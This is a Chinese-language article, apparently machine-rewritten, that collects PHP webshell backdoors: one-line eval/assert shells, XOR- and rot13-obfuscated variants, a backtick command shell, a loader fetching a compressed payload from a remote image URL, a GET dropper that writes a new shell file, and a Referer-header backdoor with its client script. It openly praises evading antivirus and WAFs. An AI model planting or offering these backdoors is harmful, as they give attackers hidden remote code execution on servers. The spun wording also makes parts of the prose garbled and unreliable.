一个最普遍的一句话后门很有可能写作那样

<?php @eval($_POST['cmd']);?>

或那样

<?php @assert($_POST['cmd']);?>

tudouya 同学们在FREEBUF上得出[一种结构方法]运用

复制代码 编码以下:
<?php  @$_ ; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

结构转化成,自然,嫌太形象化能够 写作那样

复制代码 编码以下:
<?php @$_ ;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

随后再添充些一般编码开展掩藏,一个简易的”免杀”shell样版就出現了

大家再讨论一下称为史上最牛简易免杀毒php后门

立即上编码:

<?php
$c=urldecode($_GET['c']);if($c){`$c`;}//详细
!$_GET['c']||`{$_GET['c']}`;//精减
/*******************************************************
 * 基本原理:PHP中``标记包括会作为DOS命令实行
 * 实例:http://host/?c=type config.php>config.txt
 *    随后就可以下载config.txt查询內容了!
 *    能够 试一下更超级变态的指令,不必干坏事哦!
 *******************************************************/



其完成基本原理便是PHP会立即将 ` 标记(留意:并不是单引号)包括的內容分析为DOS命令实行!那样就可以随意超级变态地拓展了!

再看来一样非常简单的一段编码

<?php 
preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
?> 

登陆密码page

最近捕捉一个根据PHP完成的webshell样版,其恰当的编码动态性生成方式,猥亵的本身网页页面掩藏技巧,使我们在剖析这一样版的全过程中感受到非常多的快乐。接下去就要大家一同共赏这一奇怪的Webshell吧。

Webshell编码以下:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c7c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

重要看下面这句话编码,

复制代码 编码以下:
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c7c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这儿实行以后实际上是一张图片,破译出去的图片地址以下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
随后启用file_get_contents函数载入照片为字符串数组,随后substr取3649字节数以后的內容,再启用gzuncompress缓解压力,获得真实的编码。最终启用preg_replace的修饰符e来实行恶意程序的。这儿实行下列句子来复原出故意样版编码,

复制代码 编码以下:
<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c7c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

无特点掩藏PHP一句话:

   <?php 
session_start(); 
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
?>

将$_POST['code']的內容取值给$_SESSION['theCode'],随后实行$_SESSION['theCode'],闪光点是沒有特征码。用漏洞扫描工具来查验编码得话,是不容易警报的,做到目地了。
非常隐敝的PHP后门:

<?php $_GET [a]( $_GET [b]);?>

 
仅用GET涵数就组成了木马病毒;
运用方式 :
    ?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

实行后当前目录转化成c.php一句话木马病毒,当传参a为eval的时候会出错木马病毒转化成不成功,为assert时一样出错,但会转化成木马病毒,真可以说不能小看,很简单的一句话,被拓宽到如此运用。
等级要求,编号运作PHP后门:
此方式 用2个文档完成,文档1
 

 <?php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); 
if (reset( $a ) == '10' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " , " " , implode( array_slice ( $a , 6))))); 
} 

?>

文档2

 <?php 
//2.php 
header( 'Content-type:text/html;charset=utf-8' ); 
//要实行的编码 
$code = <<<CODE 
phpinfo(); 
CODE; 
//开展base64编号 
$code = base64_encode ( $code ); 
//结构referer字符串数组 
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后门url 
$url = 'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

?>


根据HTTP要求中的HTTP_REFERER来运作历经base64编号的编码,来做到后门的实际效果,一般waf对referer这种检验要松一点,或是沒有检验。用这一构思bypass waf非常好。

大家以一个学习心态来看待这种PHP后门程序流程,许多PHP后门编码使我们见到程序猿们是多么的的良苦用心。